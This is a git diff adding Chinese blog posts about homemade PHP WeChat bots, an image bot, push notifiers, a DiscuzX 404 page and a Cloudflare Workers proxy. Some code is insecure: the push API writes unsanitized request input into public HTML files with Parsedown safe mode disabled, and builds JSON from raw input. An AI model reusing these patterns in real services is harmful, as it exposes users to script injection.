return false;
|
||||
}
|
||||
}
|
||||
if(checkSignature()){
|
||||
if($_GET["echostr"]){
|
||||
echo $_GET["echostr"];
|
||||
}else{
|
||||
|
||||
// 加载XML内容
|
||||
$content = file_get_contents("php://input");
|
||||
$p = xml_parser_create();
|
||||
xml_parse_into_struct($p, $content, $vals, $index);
|
||||
xml_parser_free($p);
|
||||
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
|
||||
if($vals[$index['CONTENT'][0]]['value'] == '来点色图'){
|
||||
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[text]]></MsgType>
|
||||
<Content><![CDATA[开始发起请求,请耐心等待]]></Content>
|
||||
</xml>';
|
||||
|
||||
file_get_contents('https://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?upap=1&openid='.$vals[$index['FROMUSERNAME'][0]]['value'], false, stream_context_create(array('http' => array('timeout' => 0.5))));
|
||||
|
||||
}else{
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[text]]></MsgType>
|
||||
<Content><![CDATA['.json_decode(file_get_contents('https://www.tuling123.com/openapi/api', false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => http_build_query(array('key' => $appkey,'info' => $vals[$index['CONTENT'][0]]['value'],'userid' => $vals[$index['FROMUSERNAME'][0]]['value'])))))),true)['text'].']]></Content>
|
||||
</xml>';
|
||||
}
|
||||
}
|
||||
}
|
||||
}else{
|
||||
echo 'error';
|
||||
}
|
||||
```
|
||||
2021.02.19更新:当Lolicon API Key次数不够时会尝试不使用Key调用,增加了缓存`access_token`的功能。另外以后我会自己搞一个图片API,免得总是被这个每天只有300次调用的垃圾API所限制。
|
||||
2021.02.21更新:上次不知道怎么就脑残的用了调用次数只有500次的获取用户接口作为检查`access_token`的依据,这次换了个没有上限的,另外把session的回收时间改成了2个小时,和接口对应。
|
||||
|
||||
# 怎么用?
|
||||
和[上一篇](/2021/02/06/wechatbot.html#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95)一样,不过有一个不一样的地方就是这里需要一个Lolicon API Key,如果没有的话好像限制非常高,可能一天只能调用1-2次吧,有API Key好像可以每天请求300次,具体怎么用可以看[他们的文档](https://api.lolicon.app/#/setu)。
|
||||
API Key的申请方式是去找他们的Telegram机器人[@loliconApiBot](https://t.me/loliconApiBot),倒是还挺简单的,申请出一个API和一个测试号可以供100人使用,这一点还是挺不错的。
|
||||
最后做好了就可以向测试号发送来点什么图?关键词可以自己在代码里改。
|
||||
如果不想整图灵机器人也行,那个东西要实名还是挺麻烦的,不过这样聊天功能就不能正常工作了 ~~(谁用这个机器人是和聊天机器人聊天啊!)~~ 。
|
||||
另外PHP空间很好申请的,相比Python还是非常有性价比的,至少可以不用租服务器。
|
||||
|
||||
# 总结
|
||||
这次代码用了不少有意思的特性,比如通过`file_get_contents`直接上传文件,以及PHP异步之类的,这个异步的功能还是我自己想出来的哦,现在在百度上都不一定能搜到我这样的方法。
|
||||
总之PHP还是挺有意思的。
|
118
_posts/2021-02-23-picbotpro.md
Normal file
118
_posts/2021-02-23-picbotpro.md
Normal file
@ -0,0 +1,118 @@
|
||||
---
|
||||
layout: post
|
||||
title: 快速自制微信图片机器人
|
||||
tags: [微信, 图片, Pixiv, 机器人, PHP]
|
||||
---
|
||||
|
||||
优化真的是很复杂啊……<!--more-->
|
||||
|
||||
# 起因
|
||||
前段时间,我做出来了[能发图片的机器人](/2021/02/19/picbot.html),做出来之后我拿给群友们体验,但是很遗憾的是那个代码实在是不太行,首先有2个问题,第一是微信获取`access_token`的次数是有限的,我的第一版代码在每一次调用都去获取`access_token`,这样很快次数就会消耗光,后来我稍微改进了一下,设置了个缓存,结果呢,我检测的时候用了次数更少的接口……简直是太蠢了……之后呢?结果今天发现代码里有两个获取`access_token`的地方,缓存完全没起到作用……
|
||||
总之上面的问题各种波折总算是解决好了,然后还有一个问题是我的图片来源是[Lolicon API](https://api.lolicon.app/setu),然后调用限制是300次/天,说实话,对于一个人来说这个数量是够了,但是如果有很多人,像测试号最多能容纳100人,那每天每人也就只有3次调用的机会。
|
||||
那要怎么解决调用次数的问题呢?我首先想的就是缓存结果。
|
||||
|
||||
# 解决API调用次数过少的问题
|
||||
因为对于图片来说,基本上没有什么变化的信息,所以如果能将每一次的结果缓存的话其实也没有问题。所以说干就干,我单独开了一个仓库[pixiv-index](https://github.com/Mabbs/pixiv-index)用来存储缓存的结果,具体代码的话都在这个仓库里面,每天会调用那个API直到用完次数。
|
||||
考虑到大多数情况下也不需要原图,所以这个API里的图片都只是长或宽最大为1200px的缩略图。
|
||||
使用方法也很简单,像PHP的话就可以这样写:
|
||||
```php
|
||||
<?php
|
||||
$raw=json_decode(file_get_contents("https://mabbs.github.io/pixiv-index/index.json"),true);
|
||||
echo file_get_contents('https://mabbs.github.io/pixiv-index/data/'.$raw[rand(0,count($raw)-1)]);
|
||||
```
|
||||
虽然问题解决了,但是我发现了一个巨大的缺陷,我设计这个脚本的初心是想着它有非常多的数据供我调用,结果我发现我错了,之前没有仔细看他们的文档,现在看了才发现,我想要的图片他们也只有仅仅3361张而已,实在是太少了,而总共的图片数量也只有17285张而已(即使那个站的数据也在以非常缓慢的速度增加)……
|
||||
我只是懒得去别的地方找,而且因为这个API作者说那些图片都是Ta精心挑选的我才特意写了那个仓库的那些脚本,还特地学了一下Github Action…… ~~(虽然实际上是抄的那个[给开发者账号续命的](https://github.com/wangziyingwen/AutoApiSecret)那个仓库lol)~~
|
||||
|
||||
# 新的代码
|
||||
解决了那些问题之后我又稍微优化了一下,把聊天机器人的功能剥离掉了,免得那个图灵机器人的API让人混乱。
|
||||
```php
|
||||
<?php
|
||||
$appid='微信appID';
|
||||
$secret='微信appsecret';
|
||||
$token='和配置的Token配置一致即可';
|
||||
$source='https://i.pximg.net';
|
||||
|
||||
ini_set('session.gc_maxlifetime', 7200);
|
||||
ignore_user_abort(true);
|
||||
set_time_limit(0);
|
||||
session_id('Storage');
|
||||
session_start();
|
||||
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
|
||||
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
|
||||
}
|
||||
if($_GET["upap"]){
|
||||
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
|
||||
|
||||
$retry=3;
|
||||
while(!$picdata||$retry<=0){
|
||||
$raw=json_decode(file_get_contents("https://mabbs.github.io/pixiv-index/index.json"),true);
|
||||
$picdata=file_get_contents($source.json_decode(file_get_contents('https://mabbs.github.io/pixiv-index/data/'.$raw[rand(0,count($raw)-1)]),true)['url'], false, stream_context_create(array('http' => array('method' => 'GET','header' => "referer: https://www.pixiv.net/"))));
|
||||
$retry-=1;
|
||||
}
|
||||
|
||||
$context = stream_context_create(array(
|
||||
'http' => array(
|
||||
'method' => 'POST',
|
||||
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
|
||||
'content' => "--".MULTIPART_BOUNDARY."\r\n".
|
||||
"Content-Disposition: filename=\"image.jpg\"\r\n".
|
||||
"Content-Type: image/jpg\r\n\r\n".
|
||||
$picdata."\r\n".
|
||||
"--".MULTIPART_BOUNDARY."--\r\n"
|
||||
)
|
||||
));
|
||||
|
||||
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
|
||||
"touser":"'.$_GET["openid"].'",
|
||||
"msgtype":"image",
|
||||
"image":
|
||||
{
|
||||
"media_id":"'.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.$_SESSION['access_token'].'&type=image', false, $context),true)['media_id'].'"
|
||||
}
|
||||
}'))));
|
||||
exit();
|
||||
}
|
||||
|
||||
$timestamp=$_GET["timestamp"];
|
||||
$nonce=$_GET["nonce"];
|
||||
$tmpArr=array($token, $timestamp, $nonce);
|
||||
sort($tmpArr, SORT_STRING);
|
||||
if( sha1(implode($tmpArr)) == $_GET["signature"] ){
|
||||
if($_GET["echostr"]){
|
||||
echo $_GET["echostr"];
|
||||
}else{
|
||||
|
||||
// 加载XML内容
|
||||
$content = file_get_contents("php://input");
|
||||
$p = xml_parser_create();
|
||||
xml_parse_into_struct($p, $content, $vals, $index);
|
||||
xml_parser_free($p);
|
||||
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
|
||||
if($vals[$index['CONTENT'][0]]['value'] == '来点色图'){
|
||||
|
||||
echo '<xml>
|
||||
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
|
||||
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
|
||||
<CreateTime>'.time().'</CreateTime>
|
||||
<MsgType><![CDATA[text]]></MsgType>
|
||||
<Content><![CDATA[开始发起请求,请耐心等待]]></Content>
|
||||
</xml>';
|
||||
|
||||
file_get_contents('https://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?upap=1&openid='.$vals[$index['FROMUSERNAME'][0]]['value'], false, stream_context_create(array('http' => array('timeout' => 0.5))));
|
||||
|
||||
}else{
|
||||
echo 'success';
|
||||
}
|
||||
}
|
||||
}
|
||||
}else{
|
||||
echo 'error';
|
||||
}
|
||||
```
|
||||
2021.02.26更新:似乎在库中的图片有一些是被删掉了,所以为了提高回复的成功率,增加了3次重试。
|
||||
|
||||
# 如何使用?
|
||||
具体应该不需要我说了吧,看之前的几篇关于微信机器人的文章里面的这段就行了。这里我删掉了2个参数,又增加了2个,一个是Token,想填啥都行,只要和测试号里配置一样就行。另一个是source,那个是Pixiv的图片服务器,如果后端服务器在国外那这个就不用管了,如果在国内的话需要改成`https://i.pixiv.cat`来做反代,或者如果有其他反代服务也可以,自己用CloudFlare Worker建一个也没有问题。
|
||||
|
||||
# 结尾
|
||||
那个Lolicon API实在是不好用,不过我也懒得解决了,所以就托学弟在做Pixiv日榜的收集,回头看看效果怎么样,实在不行就去研究一下各种各样的什么booru之类的图站吧,用那些图片也是个不错的选择。
|
53
_posts/2021-02-26-serverchancorp.md
Normal file
53
_posts/2021-02-26-serverchancorp.md
Normal file
@ -0,0 +1,53 @@
|
||||
---
|
||||
layout: post
|
||||
title: 做一个Server酱·TurboMini企业应用版
|
||||
tags: [Server, PHP, 微信]
|
||||
---
|
||||
|
||||
简单的事情应该自己去做<!--more-->
|
||||
|
||||
# 起因
|
||||
这个月初,由于Server酱要挂了然后Turbo版又要钱所以我特地写了一个[Server酱·TurboMini测试号版](/2021/02/02/serverchan.html),然而据那个开发Server酱的人说微信要下掉的是模板消息,而不是故意坑人不做这个东西了。过了一段时间后那个开发者说可以用企业微信啥的通道继续搞,顺便还给普通账户使用Turbo版的一点点权限,然后价格似乎也稍微降了一点?
|
||||
但问题是我们之所以使用Server酱只是因为注册服务号很麻烦,微信认证要主体,所以我们才用,用这个的人也应该都是开发者吧?那如果说资源都是我们出的话还何必用那个一堆广告的Server酱呢?而且想好好用还要花钱,都是开发者了没必要交这种智商税吧?
|
||||
不过看在它还给我们推荐了些路子,那也就不用太过分的说它了吧。
|
||||
|
||||
# 如何制作?
|
||||
我也倒是去看了看企业微信的开发文档,和公众号的开发文档那就是大同小异啊,所以今天依然是一句话解决问题:
|
||||
```php
|
||||
<?php
|
||||
$cid='企业ID';
|
||||
$agentId='应用ID/AgentId';
|
||||
$secret='应用Secret';
|
||||
$userid='@all';//用户ID,不知道可以不改
|
||||
$title='标题';
|
||||
$content='内容';
|
||||
file_get_contents('https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token='.json_decode(file_get_contents('https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid='.$cid.'&corpsecret='.$secret),true)['access_token'],false,stream_context_create(['http' => array('method'=>'POST','header'=>"content-type: application/json; charset=UTF-8",'content'=>'{"touser":"'.$userid.'","msgtype":"text","agentid":'.$agentId.',"text":{"content":"'.$title.'\n'.$content.'"}}')]));
|
||||
```
|
||||
从体验上来说的话这个企业应用版的体验还是不错的,和测试号相比首先可以在主页显示,虽然有二级但是两边的图标和名字都是可以自定义的,而且API的调用次数也要比测试号多很多,用起来还是挺不错的,和测试号比唯一的缺点应该就是首次配置有点麻烦。
|
||||
另外我在写这个东西的时候发现这个API还是和测试号的API不太一样,测试号那个在发post请求的时候post可以小写,但是这个垃圾企业微信的API的POST必须大写,不然就400,搞得我调试了半天才调试好。
|
||||
|
||||
# 如何配置?
|
||||
一样这个是兼容Server酱的,需要的参数和Server酱需要的一样多,所以配置也是完全兼容的。不过考虑到Server酱可怜的连每月5kw次请求都受不住,配置方法我就在这里再写一遍吧:
|
||||
## 第一步,注册企业
|
||||
用电脑打开[企业微信官网](https://work.weixin.qq.com/),注册一个企业
|
||||
## 第二步,创建应用
|
||||
注册成功后,点「管理企业」进入管理界面,选择「应用管理」 → 「自建」 → 「创建应用」
|
||||
应用名称随便填,比如「Mayx的机器人」,应用logo随便找一个就行,可见范围可以选择自己,如果想推送给其他人就选公司。
|
||||
创建完成后进入应用详情页,可以得到应用ID(agentid),应用Secret(secret),复制并填到代码中。
|
||||
## 第三步,获取企业ID
|
||||
进入「[我的企业](https://work.weixin.qq.com/wework_admin/frame#profile)」页面,拉到最下边,可以看到企业ID,复制并填到上方。
|
||||
推送UID不知道怎么填就直接填`@all`,推送给公司全员。
|
||||
## 第四步,推送消息到微信
|
||||
进入「我的企业」 → 「[微信插件](https://work.weixin.qq.com/wework_admin/frame#profile/wxPlugin)」,拉到下边扫描二维码,关注以后即可收到推送的消息。
|
||||
这里一样图标觉得不好看也可以自己改。
|
||||
|
||||
# 可以改进的地方
|
||||
首先,目前的这个版本是直接发送的信息,所以不支持Markdown,看起来也很丑。其实呢,我看文档里有说可以直接发Markdown消息,不过这样的话微信接收不到……
|
||||
其实测试号版那个我看完文档之后就在想如果能把内容写到图文消息里也不错啊,可惜图文消息那个要一张头图,做不到开箱即用,这个企业微信版一样也有这个问题……
|
||||
另外我还看到在文档里有一个文本卡片消息非常的不错,但是有一个问题是我不知道为啥它的URL是必选的,那这样的话同样我也没办法做到开箱即用……
|
||||
当然要做的话也不难,自己去看[官方文档](https://work.weixin.qq.com/api/doc/90000/90135/90236)就好了,也没有多复杂。
|
||||
另外测试号版就算模板消息不能用,那也不是不能推送啊,用[群发预览接口](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Batch_Sends_and_Originality_Checks.html)不好吗?虽然有每天100次的限制,但又不是不能用啊,而且还能减少对Server酱服务器的压力,我看这所谓要捐助维护就是想着赚钱,那么多广告早就够交服务器费用了,我也是维护网站的还能不知道这请求要多少钱的服务器?
|
||||
然后看微信发的[下线模板消息的通知](https://developers.weixin.qq.com/community/develop/doc/000a4e1df800d82acb9b7fb5e5b001),应该大概率不会下线这个功能,只是说了灰度测试而已,有可能只是多加了比如授权之类的操作而已。
|
||||
|
||||
# 总结
|
||||
其实要不是Server酱有那么多广告,还以捐赠名义收费,而且还限制那么多的话其实也还算不错的产品,而且也是它给了我看微信开发文档的动力,让我在假期里还有点事干。只是既然最重要的服务号就要没了,那么它也该被开发者们放弃了吧。
|
35
_posts/2021-02-28-discuz.md
Normal file
35
_posts/2021-02-28-discuz.md
Normal file
@ -0,0 +1,35 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何给DiscuzX添加像原生一样的404页面
|
||||
tags: [PHP, DiscuzX]
|
||||
---
|
||||
|
||||
简单的提高用户体验<!--more-->
|
||||
|
||||
# 起因
|
||||
像现在的新网站,由于使用的引擎越来越先进,网站的路径看起来非常的不错,那些一般开发的时候把它叫做路由。
|
||||
而过去的网站不一样,以前的网站程序大多都是以文件形式存在,访问的时候都是服务器程序去读取相对应的文件。像PHP算是有点年头了,尤其像我这种不喜欢用框架,就喜欢原生PHP的人更是如此。
|
||||
但是以前也是有让访问的URL变得花里胡哨的办法的,一般我们把那个叫做伪静态,那个一般是由服务器程序根据规则把对应的路径重写成文件的物理地址。
|
||||
不过也有不少引擎会把所有情况的路径重写到一个文件中,再由一个文件慢慢处理,其实这个已经算是路由了,像我之前写的[超简单反代](/2021/01/06/proxy.html)就是这样的,包括一些博客引擎,比如WordPress、Typecho等等,还有一些CMS也支持。
|
||||
然而很遗憾的是,DiscuzX作为一款有年代的论坛引擎,它不会接收所有的请求到处理程序中去,这就导致了一个问题,那就是错误的请求不会由DiscuzX处理,而是由服务器程序处理。
|
||||
所以DiscuzX在遇到路径404的问题时,就只是白底黑字,大大的写着404 Not Found而已,很丑,一般的处理方法也不过是自己单独整一个404页面,显得和网站风格很不匹配。
|
||||
所以今天我要解决这个问题,让这种有年代的程序也显得稍微现代化一点点。
|
||||
|
||||
# 解决方法
|
||||
其实解决这个问题很简单,调用DiscuzX的程序去生成这个页面就行了,所以以下就是生成这个页面的代码(因为是看着模板变量随便写的,可能有多余的代码,但反正能用):
|
||||
```php
|
||||
<?php
|
||||
define('CURSCRIPT', '404');
|
||||
require './source/class/class_core.php';
|
||||
C::app()->init();
|
||||
$navtitle = "提示信息";
|
||||
$show_message = "抱歉,您访问的页面不存在";
|
||||
$alerttype = 'alert_error';
|
||||
$allowreturn = 1;
|
||||
$param['msgtype'] = 1;
|
||||
include template('common/showmessage');
|
||||
```
|
||||
把这个文件保存为404.php,然后放到网站根目录就行了,然后再把服务器配置里的错误页面设置为这个文件,像Nginx的话可以在server段里加一句`error_page 404 /404.php;`就OK了。
|
||||
|
||||
# 总结
|
||||
目前来看好像我见到的几乎所有论坛(即使不是DiscuzX),都没能做到404页面和网站完美融合,也许我是第一个写这种东西的人吗😀?这样就能很简单的提高特别情况下的网站体验了吧……
|
38
_posts/2021-03-02-workers.md
Normal file
38
_posts/2021-03-02-workers.md
Normal file
@ -0,0 +1,38 @@
|
||||
---
|
||||
layout: post
|
||||
title: 使用CloudFlare Workers做一些有趣的功能
|
||||
tags: [CloudFlare, Workers]
|
||||
---
|
||||
|
||||
挺不错,但是还是不如PHP<!--more-->
|
||||
|
||||
# 起因
|
||||
之前搞[微信图片机器人](/2021/02/23/picbotpro.html)的时候,我看到P站的图片反代给了一个自己在CloudFlare Workers上建反向代理的[代码](https://pixiv.cat/reverseproxy.html)。
|
||||
虽然我很早就在用CloudFlare,也知道Workers这个功能,不过我的JavaScript水平不太行,而且当时这个功能还不够完善,就没怎么管,不过既然又见到了,那就来玩玩试试看吧,现在的这个Workers功能不仅已经很完善,而且免费版的限制也少了很多,甚至还支持1G的KV存储。
|
||||
|
||||
# 首先给自己搭个反代
|
||||
之前我用PHP给自己的博客搭了一个[简单的反代](/2021/01/06/proxy.html),不过我用的那个服务商不太行,速度有点慢,而且也不是所有的PHP空间都支持伪静态。那既然有CloudFlare Workers那我们就来试试用这个实现吧。
|
||||
代码如下:
|
||||
```js
|
||||
addEventListener("fetch", event => {
|
||||
let url = new URL(event.request.url);
|
||||
url.hostname = "mabbs.github.io";
|
||||
event.respondWith(fetch(new Request(url, event.request)));
|
||||
});
|
||||
```
|
||||
看起来代码好像更简单了,可惜我的JavaScript水平不行,最多只能照猫画虎,自己写不来……
|
||||
最终做出来的网址如下: <https://blog.mayx.workers.dev/> ,这也算是我博客的另一个为了在国内能访问的域名吧……如果自己有域名的话可以设置路由把其他域名绑在上面。
|
||||
不过CloudFlare Workers也有一些缺陷,那就是有请求次数限制,免费版只有10w次/天的访问次数限制,对于我这种小站还行,大一点的请求次数一阵子就用光了,相比于限流量的PHP空间,用CloudFlare Workers做这种请求比较密集的站并不合适,不过这个不限流量,如果用来代理下载比较大的文件还是挺不错的。
|
||||
|
||||
# 给自己的网站搭一个Status Page吧
|
||||
我在看Workers的一些介绍时看到了一个很有意思的东西,就是Status Page,用来监测网站可用性的,看起来很有意思而且部署非常简单,具体可以看[文档](https://github.com/eidam/cf-workers-status-page#getting-started)。
|
||||
这个东西支持一键部署,只要按照说明,很轻松就能搭一个属于自己的Status Page,另外我也给花火学园搭了一个[Hanabi Status Page](https://status.sayhuahuo.com/),看起来很专业的样子。
|
||||
|
||||
# 其他玩法
|
||||
其实这就是所谓的Serverless的云函数吧,我以前玩LeanCloud的时候就玩过了,本质其实和那些虚拟网站空间差不多,只是可能和平台的集成度更高,有一堆自制的API,所以效率更高吧。像OneIndex当时也有CloudFlare Workers版的,就是功能有点少,所以我还是搭的PHP版。
|
||||
如果自己有能力开发的话利用那个KV存储其实想开发什么网站都可以,而且这个支持的语言也很多,甚至也支持PHP,就是和一般的PHP感觉不太一样……
|
||||
比如我之前开发的[图片机器人](/2021/02/23/picbotpro.html)、[Server酱自制版](/2021/02/26/serverchancorp.html)等等都可以用CloudFlare Workers重写。
|
||||
像这样甚至自己写一个论坛都没问题,不过免费版的限制还是挺多的,虽然1G的KV存储还是挺大的,但是10w次/天的访问还是太少了,要用的话还是不够……如果做成前后端分离的那种可能还好,一个页面就一次请求,要是没有分离的话访问一次就要请求好多次了,相比之下不考虑流量的话可能免费的虚拟网站空间还能支持更多的请求。
|
||||
|
||||
# 总结
|
||||
总之现在Serverless也算是一个现在比较流行的东西(有人说Workers是边缘计算,不过我感觉现在应该不算了),从云计算来看应该算PaaS吧?还是BaaS(后端即服务,不是什么区块链)?倒是可以玩玩试试看,不过也就小公司可能会因为相对便宜而用,大公司肯定不会把业务放到这种东西上,万一这个服务没了,那曾经写的代码可能就全都没用了,如果做了兼容层还好,毕竟每一个平台的API都不一样,现在的Serverless厂家又不可能统一成什么联盟,挂了就没了,但是在服务器上自己写和部署的代码,无论是哪个服务器都可以运行,所以这个也就只能是玩玩看,未来这个可能不会有很大的发展。
|
65
_posts/2021-03-23-wxpush.md
Normal file
65
_posts/2021-03-23-wxpush.md
Normal file
@ -0,0 +1,65 @@
|
||||
---
|
||||
layout: post
|
||||
title: 亲自体验微信推送的制作感受
|
||||
tags: [微信, 推送]
|
||||
---
|
||||
|
||||
感谢大佬完成了最复杂的部分😂<!--more-->
|
||||
|
||||
# 起因
|
||||
我在上个月写了一个[Server酱Mini测试号版](/2021/02/02/serverchan.html),在此之后有位叫做[guanzi008](https://github.com/guanzi008)大佬看到了我的文章,并愿意给我提供一个有微信认证的公众号让我体验一下Server酱的实际制作过程,对此我表示非常感谢,把最复杂的事情做完了。像那个Server酱那个平台说过Ta唯一做的事情就是注册了一个有微信认证的公众号而已,毕竟微信开放文档傻子都能看懂,没什么技术难度。
|
||||
正好这次有了这个机会,我就可以真正体验一下测试号和通过了微信认证的服务号之间到底有什么样的区别。
|
||||
|
||||
# 实际体验
|
||||
我以前虽然没有微信认证的公众号,不过曾经有用过同学注册的一个个人的公众号,那个是真的废物,接口几乎全都不能用……现在有了微信认证的公众号之后发现虽然这个非常不错,功能基本上该有的都有了,不过有一些地方还是和测试号各有千秋。比如说测试号的监察要松的多,像模板消息根本没有限制,而且无论发什么东西都不用担心封号。而这个认证公众号的监察就要严的多,直接发违法消息肯定是别想了,就说模板消息还必须要用已有的模板,用没有的必须要通过审核。另外我感觉那个所谓的模板消息下线应该是烟雾弹,人家官方文档说的很清楚,**服务号订阅通知功能开启灰度测试,模板消息能力可正常使用**,所以不用太担心。
|
||||
那个所谓的订阅通知的功能我已经试过了,很烂,要想推送必须要让用户同意,而且是每一次,也就是说用户同意一次才有一次的通知权,所以说就很废物。倒是有一个长期订阅,就是搞起来非常麻烦。还好模板消息目前来看是只要申请就可以使用。所以接下来我就完善了一下我之前在测试号上用的代码,增加了Access Token缓存,支持POST请求,并且增加了摘要、HTML、Markdown等功能,代码如下:
|
||||
```php
|
||||
<?php
|
||||
$appid='公众号APPID';
|
||||
$secret='公众号Secret';
|
||||
$userid=$_GET['userid'];
|
||||
$template_id='模板ID';
|
||||
$title=addslashes($_REQUEST['title']);
|
||||
$summary=addslashes($_REQUEST['summary']);
|
||||
$content=addslashes($_REQUEST['content']);
|
||||
|
||||
$addHTML="";
|
||||
session_id('Storagepush');
|
||||
session_start();
|
||||
if(!$summary){
|
||||
$summary=$content;
|
||||
}
|
||||
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
|
||||
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
|
||||
}
|
||||
if($_GET['type'] == "md"){
|
||||
include_once("Parsedown.php");
|
||||
$Parsedown = new Parsedown();
|
||||
//$Parsedown->setSafeMode(true);
|
||||
$content = $Parsedown->text($content);
|
||||
$_GET['type'] = "html";
|
||||
}
|
||||
if($_GET['type'] == "html"){
|
||||
$filename='html/'.md5(uniqid(mt_rand(), true)).'.html';
|
||||
file_put_contents($filename, '<meta name="viewport" content="width=device-width, initial-scale=1"><title>'.$title.'</title><h1>'.$title.'</h1><hr>'.$content.'<hr><center>Powered By <a href="https://mabbs.github.io/">Mayx</a></center>');
|
||||
$addHTML='"url":"https://'.$_SERVER['HTTP_HOST'].'/'.$filename.'", ';
|
||||
}
|
||||
|
||||
echo file_get_contents('https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='.$_SESSION['access_token'], false, stream_context_create(array('http' => array('method'=>'post','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"touser":"'.$userid.'","template_id":"'.$template_id.'", '.$addHTML.'"data":{"first": {"value":"'.$title.'"}, "keyword1": {"value":"'.$summary.'"}, "keyword2": {"value":"'.date('Y-m-d H:i:s').'"}}}'))));
|
||||
```
|
||||
要想使用这个代码的话需要用到[Parsedown](https://github.com/erusev/parsedown)的库,另外模板消息我用的是ID为`OPENTM207965242`的模板,如果有人想要用的话也建议用同一个模板。
|
||||
另外对于用户的OPENID的获取……想用的话就自己想办法吧,获取OPENID这种事情很简单。
|
||||
从体验上来说应该是吊打Server酱那种垃圾,而且还没有广告。理论上最大每日推送量是10w次,当账号粉丝数超过10W/100W/1000W时,模板消息的日调用上限会相应提升。不过这个不防滥用,所以还是需要注意一点的。
|
||||
|
||||
# 使用文档
|
||||
|
||||
| 参数 | 是否必填 | 请求方法 | 内容 |
|
||||
| - | - | - | - |
|
||||
| userid | 是 | GET | 用户的OPENID |
|
||||
| type | 否 | GET | html/md/空 |
|
||||
| title | 否 | GET/POST | 标题 |
|
||||
| summary | 否 | GET/POST | 摘要(不填默认为内容) |
|
||||
| content | 否 | GET/POST | 内容 |
|
||||
|
||||
# 后续的改进
|
||||
我目前用的公众号的所有人希望整一个像WxPusher的平台,我大概看了一下那个东西,果然还是个垃圾,要推送必须用那个平台特有的API,包括开源的那些乱七八糟的SDK也全部都是为那个所谓推送平台设计的,另外模板的选择也是真的没什么品味,体验实在是一般。所以目前似乎还没有一个像样的开源的微信推送平台,那接下来就让我试试看吧,我看看到底是为什么没有人愿意制作一个开源的微信推送平台吧!
|
7
_posts/2021-04-05-try3.md
Normal file
7
_posts/2021-04-05-try3.md
Normal file
File diff suppressed because one or more lines are too long
94
_posts/2021-04-09-weauth.md
Normal file
94
_posts/2021-04-09-weauth.md
Normal file
@ -0,0 +1,94 @@
|
||||
---
|
||||
layout: post
|
||||
title: 自制微信二维码登录API
|
||||
tags: [微信, 登录, 验证, PHP]
|
||||
---
|
||||
|
||||
二维码登录看来也不是什么复杂的东西嘛<!--more-->
|
||||
|
||||
# 起因
|
||||
前段时间我用了一位大佬的认证公众号做了一个[微信推送](/2021/03/23/wxpush.html)的API,并且希望把它做成像WxPusher那样的平台。但是吧……我想了想,现在微服务不是比较火嘛,WxPusher那种的实在是太臃肿了,而且还是用Java写的,那就更加垃圾了,所以我决定把功能模块化,让每一个功能都可以单独运行,互不影响。
|
||||
而今天我要做的就是允许A用户(开发者)使用微信扫描二维码的方式去获取B用户(客户)的用户ID。当然这种功能的话肯定还是用PHP完成的啦,所以代码如下:
|
||||
|
||||
# 代码
|
||||
```php
|
||||
<?php
|
||||
$appid='公众号APPID';
|
||||
$secret='公众号Secret';
|
||||
$token='和配置的Token配置一致即可';
|
||||
|
||||
ini_set('session.gc_maxlifetime', 7200);
|
||||
session_id('Storagepush');
|
||||
session_start();
|
||||
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
|
||||
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
|
||||
}
|
||||
if(isset($_GET["action"])&&isset($_GET["key"])){
|
||||
$_GET["key"]=addslashes($_GET["key"]);
|
||||
if(strlen($_GET["key"])<6||strlen($_GET["key"])>32){
|
||||
die("Bad Key");
|
||||
}
|
||||
|
||||
if($_GET["action"] == "set"){
|
||||
